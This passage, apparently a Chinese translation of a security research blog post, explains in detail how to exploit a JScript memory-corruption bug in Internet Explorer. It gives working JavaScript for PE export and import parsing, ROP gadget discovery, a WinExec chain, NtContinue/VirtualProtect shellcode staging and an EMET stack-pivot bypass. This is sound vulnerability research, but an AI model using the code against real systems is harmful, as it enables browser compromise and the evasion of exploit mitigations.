1. 从对象泄漏模块指针。
2. 将地址的低16位设置为0。
3. 检查DOSheader或存根是否位于与基准的预期偏移处。
4. 如果不是,则将地址减0x10000。
5. 重复2、3和4,直到确定DOS Header。
第一步很简单。从泄漏jscript.dll指针开始,所有需要做的是:
· 创建一个新的JavaScript对象。
· 使用上面讨论的addrof原语来获取VAR结构的地址。
· 跟随VAR中的对象指针(偏移量8)到达主要对象(例如RegExpObj或NameTbl对象)。
· 读取偏移量为0 的vftable指针。
可以按照以下步骤在JavaScript中实现步骤2至5:
function find_module_base(ptr) { // ptr is an object of the form {'upper': address_upper, 'lower': address_lower} ptr.lower = (ptr.lower & 0xFFFF0000) + 0x4e; // Set to starting search point while(true) { if(read_dword(ptr.lower, ptr.upper) == 0x73696854) { // The string 'This' - Part of the DOS stub WScript.Echo("[+] Found module base!"); ptr.lower -= 0x4e; // Subtract the offset to get the base return ptr; } ptr.lower -= 0x10000; } }
一旦找到基础,下一步就是找到属于我们要在其中使用函数的目标DLL的地址。jscript.dll的基础是IMAGE_DOS_HEADER结构。
https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html
该header后面是DOS存根代码,通常用于显示可执行文件不能在DOS上运行。成员e_lfanew包含从模块底部到IMAGE_NT_HEADERS结构的偏移量。该结构包含第二个结构IMAGE_OPTIONAL_HEADER的环绕,该结构包含有关PE文件的更多信息。
从这里开始的重要部分是DataDirectory成员。该数组包含许多IMAGE_DATA_DIRECTORY结构,这些结构将偏移量赋予各种数据目录,例如Export和Import目录。从IMAGE_OPTIONAL_HEADER的开头开始,每个目录的偏移量都是静态的,其中Export目录位于偏移量0x70处,而Import目录位于偏移量0x78处。
导入目录包含用于每个导入模块的重复结构。该结构包含两个重要的成员:ModuleName和ImportAddressTable(IAT)。 ModuleName指向包含模块名称的字符串(例如,“ msvcrt.dll”),ImportAddressTable指向导入的函数指针的数组。通过选择IAT中的第一个函数,可以重复前面针对jscript.dll所述的步骤,以标识目标模块的基础。
以下函数显示了如何在利用中执行此操作:
function leak_module(base, target_name_lower, target_name_upper) { // target_name_* are DWORD little-endian numbers that represent part of the name string // Get IMAGE_NT_HEADERS pointer module_lower = base.lower + 0x3c; // PE Header offset location module_upper = base.upper; file_addr = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] PE Header offset = 0x" + file_addr.toString(16)); // Get imports module_lower = base.lower + file_addr + 0x90; // Import Directory offset location import_dir = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] Import offset = 0x" + import_dir.toString(16)); // Get import size module_lower = base.lower + file_addr + 0x94; // Import Directory size offset location import_size = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] Size of imports = 0x" + import_size.toString(16)); // Find module module_lower = base.lower + import_dir; while(import_size != 0) { name_ptr = read_dword(module_lower + 0xc, module_upper, 1); // 0xc is the offset to the module name pointer if(name_ptr == 0) { throw Error("Couldn't find the target module name"); } name_lower = read_dword(base.lower + name_ptr, base.upper); name_upper = read_dword(base.lower + name_ptr + 4, base.upper); if(name_lower == target_name_lower && name_upper == target_name_upper) { WScript.Echo("[+] Found the module! Leaking a random module pointer..."); iat = read_dword(module_lower + 0x10, module_upper); // Import Address Table leaked_address = read_qword(base.lower + iat, base.upper); WScript.Echo("[+] Leaked address at upper 0x" + leaked_address.upper.toString(16) + " and lower 0x" + leaked_address.lower.toString(16)); return leaked_address; } import_size -= 0x14; // The size of each entry module_lower += 0x14; // Increase entry pointer } }
找到目标模块的基础后,必须找到目标函数。这是通过解析目标模块中的Export目录来完成的。在导出目录使用包含三个重要的成员一个结构:AddressOfFunctions,AddressOfNames和AddressOfNameOrdinals。使用这些,可以找到所需的目标函数。AddressOfNames是指向函数名称字符串的指针的数组。通过遍历数组找到所需的函数后,该名称的索引将用作AddressOfNameOrdinals数组的索引。此数组包含一系列数字,这些数字用作索引AddressOfFunctions数组,其中包含函数指针。
由于函数有许多相似的名称(例如_stricmp和_stricmp_l),因此以下JavaScript函数要大一些,以容纳最多16个字节的检查。注意以下函数并不是线性搜索导出列表,而是经过优化以使用二进制搜索,从而节省了大量时间:
function leak_export(base, target_name_first, target_name_second, target_name_third, target_name_fourth) { // Get IMAGE_NT_HEADERS pointer module_lower = base.lower + 0x3c; // PE Header offset location module_upper = base.upper; file_addr = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] PE Header offset at 0x" + file_addr.toString(16)); // Get exports module_lower = base.lower + file_addr + 0x88; // Export Directory offset location export_dir = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] Export offset at 0x" + import_dir.toString(16)); // Get the number of exports module_lower = base.lower + export_dir + 0x14; // Number of items offset export_num = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] Export count is " + export_num); // Get the address offset module_lower = base.lower + export_dir + 0x1c; // Address offset addresses = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] Export address offset at 0x" + addresses.toString(16)); // Get the names offset module_lower = base.lower + export_dir + 0x20; // Names offset names = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] Export names offset at 0x" + names.toString(16)); // Get the ordinals offset module_lower = base.lower + export_dir + 0x24; // Ordinals offset ordinals = read_dword(module_lower, module_upper, 1); WScript.Echo("[+] Export ordinals offset at 0x" + ordinals.toString(16)); // Binary search because linear search is too slow upper_limit = export_num; // Largest number in search space lower_limit = 0; // Smallest number in search space num_pointer = Math.floor(export_num/2); module_lower = base.lower + names; search_complete = false; while(!search_complete) { module_lower = base.lower + names + 4*num_pointer; // Point to the name string offset function_str_offset = read_dword(module_lower, module_upper, 0); // Get the offset to the name string module_lower = base.lower + function_str_offset; // Point to the string function_str_lower = read_dword(module_lower, module_upper, 0); // Get the first 4 bytes of the string res = compare_nums(target_name_first, function_str_lower); if(!res && target_name_second) { function_str_second = read_dword(module_lower + 4, module_upper, 0); // Get the next 4 bytes of the string res = compare_nums(target_name_second, function_str_second); if(!res && target_name_third) { function_str_third = read_dword(module_lower + 8, module_upper, 0); // Get the next 4 bytes of the string res = compare_nums(target_name_third, function_str_third); if(!res && target_name_fourth) { function_str_fourth = read_dword(module_lower + 12, module_upper, 0); // Get the next 4 bytes of the string res = compare_nums(target_name_fourth, function_str_fourth); } } } if(!res) { // equal module_lower = base.lower + ordinals + 2*num_pointer; ordinal = read_word(module_lower, module_upper, 0); module_lower = base.lower + addresses + 4*ordinal; function_offset = read_dword(module_lower, module_upper, 0); WScript.Echo("[+] Found target export at offset 0x" + function_offset.toString(16)); return {'lower': base.lower + function_offset, 'upper': base.upper}; } if(res == 1) { if(upper_limit == num_pointer) { throw Error("Failed to find the target export."); } upper_limit = num_pointer; num_pointer = Math.floor((num_pointer + lower_limit) / 2); } else { if(lower_limit == num_pointer) { throw Error("Failed to find the target export."); } lower_limit = num_pointer; num_pointer = Math.floor((num_pointer + upper_limit) / 2); } if(num_pointer == upper_limit && num_pointer == lower_limit) { throw Error("Failed to find the target export."); } } throw Error("Failed to find matching export."); } function compare_nums(target, current) { // return -1 for target being greater, 0 for equal, 1 for current being greater WScript.Echo("[*] Comparing 0x" + target.toString(16) + " and 0x" + current.toString(16)); if(target == current) { WScript.Echo("[+] Equal!"); return 0; } while(target != 0 && current != 0) { if((target & 0xff) > (current & 0xff)) { return -1; } else if((target & 0xff) < (current & 0xff)) { return 1; } target = target >> 8; current = current >> 8; } }
0x13 漏洞利用-代码执行(使用ret2lib饶过DEP)
至此,目标函数已经定位,但是仍然需要触发器来更改执行流程并调用它们。
最简单的方法是在假对象中创建假vftable并触发其中一个函数。调用vftable函数的一个很好的目标是使用typeof运算符。如果指向对象的VAR的JScript类型为0x81,则代码将在vftable + 0x138处调用函数指针以检测要使用的类型字符串:
但是,这带来了一个问题:只能提供一个地址。由于攻击不在堆栈上,因此无法简单地编写和执行ROP链。解决此问题的方法是将堆栈指针移到另一个受控制的内存区域,例如泄漏的字符串。这是一种称为stack pivoting的技术。为了找到适合此漏洞利用的最佳gadget,需要满足许多条件:
· 不能依赖静态DLL偏移量-无法知道正在使用哪个版本的DLL。因此,必须通过在模块中查找和搜索函数才能轻松找到它们。
· 如果要对DLL进行尽可能多的版本处理,则应避免如果进行少量代码更改就不会存在的gadget。漏洞选择的一个例子是gadget,例如mov rax,[rsp + 0x14h]; ret,如果通过向函数添加新变量来更改堆栈框架,则可能不存在。
该RAX在的时间寄存器vftable调用包含的地址vftable。因此,gadgetxchg eax,esp; 选择retn作为堆栈返回指令。指令中的32位寄存器对于漏洞利用可接受的原因是,尽管堆位置是随机的,但其地址通常处于较低的地址。该XCHG指令也零出寄存器(的高32位的未使用的位RAX和RSP),从而使此完美的64位Pivot。
构成在指令这个gadget存在字节SETZ BL在MSVCRT.DLL函数系统,它设置的至少显著字节RBX为0。这将在后面作为返回值(口述成功与否)的函数。由于这不太可能改变,因此符合上面列出的条件。
至于如何将指令分解为其他指令,可以通过检查与它们相关的字节来使其更清楚:
Instruction: setz bl Bytes: 0F 94 C3 Instruction: xchg eax, esp Bytes: 94 Instruction: retn Bytes: C3
为了动态地找到没有静态偏移的94 C3字节,必须遍历Import目录以找到系统函数地址。该地址用作搜索的基础,一次读取一个WORD,直到找到所需的字节为止:
var msvcrt_system_export = leak_export(msvcrt_base, 0x74737973, 0, 0, 0); var pivot = find_pivot(); function find_pivot() { WScript.Echo("[*] Finding pivot gadget..."); pivot_offset = 0; while(pivot_offset < 0x150) { word_at_offset = read_word(msvcrt_system_export.lower + pivot_offset, msvcrt_system_export.upper); if(word_at_offset == 0xc394) { // Little-Endian order break; } pivot_offset += 1; } if(pivot_offset == 0x150) { // Maximum search range throw Error("Failed to find pivot"); } WScript.Echo("[+] Pivot found at offset 0x" + pivot_offset.toString(16)); return {'lower': msvcrt_system_export.lower + pivot_offset, 'upper': msvcrt_system_export.upper}; }
由于已经找到了系统函数调用,因此它也可以用于弹出calc,而不必执行VirtualProtect调用来使用shellcode。但是,事实证明,未设置TabProcGrowth时,系统函数不会执行,这可能是由于标准保护模式(自IE8开始实施)的运行方式所致,从而使其在漏洞利用中的作用降低了。更好的命令执行函数是kernel32中的WinExec。这意味着还需要两个gadget才能将第一个参数(命令字符串指针)放置在rcx寄存器中,将第二个参数(显示选项)放置在rdx寄存器中。
对于第一个参数,可以在msvcrt.dll函数_hypot中进行选择。该函数使用xmm寄存器进行操作,以对双精度浮点值执行运算。此函数中出现的一个gadget是mulsd xmm0,xmm3;ret在两个寄存器上执行标量乘法运算。组成该指令的字节为F2 0F 59 C3。幸运的是,字节59 C3是pop rcx指令的retn字节;
第二个参数gadget可以在指令cvtps2pd xmm0,xmm3的类似名称的msvcrt.dll函数_hypotf函数中找到,该指令由字节0F 5A C3组成。这可用于构造后两个字节(5A C3)的pop rdxgadget。
建立ROP链需要一些周全的考虑。由于WinExec函数调用其他函数,因此在链之前需要附加填充字节,以确保为其堆栈帧留出足够的空间:
function generate_gadget_string(gadget) { return String.fromCharCode.apply(null, [gadget.lower & 0xffff, (gadget.lower >> 16) & 0xffff, gadget.upper & 0xffff, (gadget.upper >> 16) & 0xffff]); } // Construct a gadget chain and place the initial_jmp (the pivot) at the correct vftable offset function generate_rop_chain(gadgets, initial_jmp) { chain = Array(pad_size + 1).join('A'); // Adds lots of stack space to prevent kernel32.dll crashing for(i=0;i<gadgets.length;i++) { chain += generate_gadget_string(gadgets[i]); } chain = chain + Array(157 - (chain.length - (pad_size))).join('A') + generate_gadget_string(initial_jmp); chain = chain.substr(0, chain.length); chain_addr = addrof(chain); return chain_addr; }
执行后,弹出calc。需要特别注意的是,运行WinExec后IE将会崩溃,因为在此漏洞利用中未实现进程继续。
0x14 漏洞利用-Shellcode执行(使用VirtualProtect绕过DEP)
自从开始以来,Shellcode执行就一直是漏洞利用漏洞利用的黄金标准,但是诸如DEP之类的缓解措施已使Shellcode执行无法像一次跳转那样直接进行。的存储器DEP标记领域,如堆栈和堆作为只可读和可写的。由于没有执行权限,因此无法执行放置在这些段中的shellcode。在Windows中克服此问题的一种方法是使用VirtualProtect函数,该函数更改内存页的权限。为了在函数中提供所有4个参数,需要将值放置在寄存器rcx,rdx,r8和r9中。为所有与上一节中提到的条件相匹配的寄存器查找gadget特别困难,但是有一种使用单个gadget的解决方案:NtContinue。这是ntdll.dll中未公开的函数,该函数执行系统调用以使用CONTEXT结构的给定值填充寄存器,这意味着可以在单个调用中填充所有四个必需的寄存器。
对于VirtualProtect,需要在CONTEXT结构中设置以下值:
· 该lpAddress参数将指向堆中的shellcode。
· 该的dwSize参数包含shellcode的大小。
· 该flNewProtect参数包含的shellcode新的权限。此处的权限应为PAGE_EXECUTE_READWRITE(0x00000040)。
· 该lpflOldProtect参数应该是一个指针的内存可写区域。
为此,可以在JavaScript中构造以下伪造的CONTEXT结构:
context = "AAAA" + // Padding is required to ensure that the address of CONTEXT is 6-byte aligned. Therefore when using the fake context, an 8 byte offset must be added. "\u0000\u0000\u0000\u0000" + // P1Home "\u0000\u0000\u0000\u0000" + // P2Home "\u0000\u0000\u0000\u0000" + // P3Home "\u0000\u0000\u0000\u0000" + // P4Home "\u0000\u0000\u0000\u0000" + // P5Home "\u0000\u0000\u0000\u0000" + // P6Home "\u0002\u0010" + // ContextFlags - CONTEXT_INTEGER (only change Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15 - This means that Rsp will remain and the ROP chain can continue) "\u0000\u0000" + // MxCsr "\u0033" + // SegCs "\u0000" + // SegDs "\u0000" + // SegEs "\u0000" + // SegFs "\u0000" + // SegGs "\u002b" + // SegSs "\u0000\u0000" + // EFlags "\u0000\u0000\u0000\u0000" + // Dr0 "\u0000\u0000\u0000\u0000" + // Dr1 "\u0000\u0000\u0000\u0000" + // Dr2 "\u0000\u0000\u0000\u0000" + // Dr3 "\u0000\u0000\u0000\u0000" + // Dr6 "\u0000\u0000\u0000\u0000" + // Dr7 "\u4141\u4141\u4141\u4141" + // Rax String.fromCharCode.apply(null, [shellcode_address & 0xffff, (shellcode_address >> 16) & 0xffff]) + "\u0000\u0000" + // Rcx - shellcode String.fromCharCode.apply(null, [shellcode.length & 0xffff, ((shellcode.length >> 16) & 0xffff)]) + "\u0000\u0000" + // Rdx - shellcode length "\u4141\u4141\u4141\u4141" + // Rbx "\u0000\u0000\u0000\u0000" + // Rsp "\u0000\u0000\u0000\u0000" + // Rbp "\u4141\u4141\u4141\u4141" + // Rsi "\u4141\u4141\u4141\u4141" + // Rdi "\u0040\u0000\u0000\u0000" + // R8 - Memory protection PAGE_EXECUTE_READWRITE String.fromCharCode.apply(null, [writable_location & 0xffff, ((writable_location >> 16) & 0xffff)]) + "\u0000\u0000" + // R9 - Writable location "\u4141\u4141\u4141\u4141" + // R11 "\u4141\u4141\u4141\u4141" + // R12 "\u4141\u4141\u4141\u4141" + // R13 "\u4141\u4141\u4141\u4141" + // R14 "\u4141\u4141\u4141\u4141" + // R15 "\u0000\u0000\u0000\u0000"; // Rip context = context.substr(0, context.length); // Make the context string reallocate context_address = addrof(context) + 8; // 8 is the offset to the context to skip past the padding
因此ROP链为:
[ Pop Rcx; Ret ] [ Location of fake CONTEXT ] [ NtContinue ] [ VirtualProtect ] [ Shellcode Address ]
0x15 漏洞利用-绕过EMET
一个可以利用的漏洞利用程序非常有用,但不仅可以考虑使用内置的漏洞缓解措施。尽管上述利用方法可以在标准系统上使用,但不能在具有附加安全函数的系统上使用。在本节中,将简要讨论增强的缓解经验工具包(EMET)。EMET是一种漏洞利用缓解系统,将其自身注入到流程中以识别和防止可疑行为。此漏洞必须考虑几种包含的检测技术:
· 堆栈检测
· 导出地址表访问过滤(EAF和EAF +)
许多其他规则(例如,调用方检查和模拟执行流)将使利用此漏洞的难度大大增加,但是仅适用于32位程序。
尽管此软件的使用寿命终止于2018年,但它的替代产品(Windows Defender Exploit Guard)仅与Windows 10兼容。这意味着EMET将是在Windows 7目标系统上运行的唯一官方漏洞缓解工具包。
因为已经有很多关于完全禁用EMET的出色研究,所以本节将重点介绍单独绕过上面列出的影响漏洞利用的检测技术。
Stack Pivot
为了执行ROP链,需要将堆栈指针移到堆中以充当新的堆栈框架。对于上述漏洞利用,此Stack Pivot技术相当关键。但是,这样做会触发EMET中的Stack Pivot检测规则,从而导致程序立即终止。执行关键函数时,EMET会检查堆栈反转。在这种情况下,WinExec被标记为关键函数。
绕过此缓解措施涉及两个步骤:
· 泄漏堆栈指针。
· 直接跳转到NtContinue。
堆栈指针泄漏在CFG旁路部分的Google Project Zero的博客文章中进行了介绍,它通过对任何JavaScript对象使用任意读取原语来泄漏CSession对象指针,因为它包含指向堆栈本身的指针。
在JavaScript中,实现方式如下:
function leak_stack_ptr() { leak_obj = new Object(); // Create an object addr = addrof(leak_obj); // Get address csession_addr = read_dword(addr + 24, 0, 1); // Get CSession from offset 24 stack_addr_lower = read_dword(csession_addr + 80, 0, 1); // Get the lower half of the stack pointer from offset 80 stack_addr_upper = read_dword(csession_addr + 84, 0, 1); // Get the upper half of the stack pointer from offset 84 return {'lower': stack_addr_lower, 'upper': stack_addr_upper}; }
然后,该指针将在rsp寄存器的伪CONTEXT结构中使用,以避免检测到Stack Pivot。然后,rip寄存器将包含目标位置(在这种利用情况下为WinExec)。
此时,在不使用pop rcxgadget的情况下,如何将CONTEXT指针加载到第一个参数寄存器rcx中可能会有一些困惑。答案很简单:调用vftable中的函数时的rcx寄存器包含伪造的对象本身,并且由于该伪造对象唯一需要设置的部分是前8个字节(vftable指针),因此该对象的其余部分可以充当CONTEXT结构,如下所示:
如图所示,唯一的寄存器不能被控制是P1Home,覆盖的vftable指针。运行漏洞利用程序时,堆栈将保留在有效的堆栈区域内,所有寄存器均受到控制,并且WinExec的执行无需Pivot操作。
导出地址过滤(EAF和EAF +)
在漏洞利用过程中,必须找到各种函数的地址(WinExec,NtContext)。为此,将解析模块的导出列表。导出地址过滤使用调试寄存器在重要模块(例如kernel32和ntdll)的导出地址表(EAT)上添加了硬件断点。读取EAT时,将触发此断点,EMET将确定此访问是否有效。EAF会检测此访问是否源自shellcode,如果终止,将终止程序。其背后的逻辑是,大多数shellcode 将遍历EAT这些模块中的一个以查找可以利用的函数。幸运的是,任意读取原语意味着无需依赖shellcode即可读取导出地址表,这意味着利用漏洞不会触发EAF检测。
然而,EAF +是另一回事。除其他外,它可以检测某些模块(例如jscript.dll或vbscript.dll)是否正在访问重要模块的导出和导入表。解决此问题的一种方法是使用jscript本身的导入,其中包括GetModuleHandleA和GetProcAddress。这些足以从任何导入的模块获取任何函数的地址。但是,当运行没有堆栈数据透视表的漏洞利用程序但5.5版运行时,EMET 5.52(EMET的最终版本)的实现未触发EAF +。由于大多数关心漏洞利用缓解的系统管理员几乎肯定会使用5.52,因此可以肯定地认为EAF +并不是一个大问题。
使用EMET 5.52,仅需绕过堆栈Pivot检测就可以触发漏洞利用:
0x16 分析总结
尽管Internet Explorer年代久远,但它仍然非常活跃。尽管与Edge之类的现代浏览器相比,由于用户数量较少,研究此特定浏览器的研究员可能会月来于少,但事实是,今天仍然存在漏洞,并且恶意行为者继续将其作为攻击目标,这一事实证明了这一点应该多加注意。这篇文章为JScript的研究奠定了一些基础,以便使下一轮研究人员能够快速掌握目标并开始发现和利用自身的漏洞。
本文翻译自:https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer如若转载,请注明原文地址: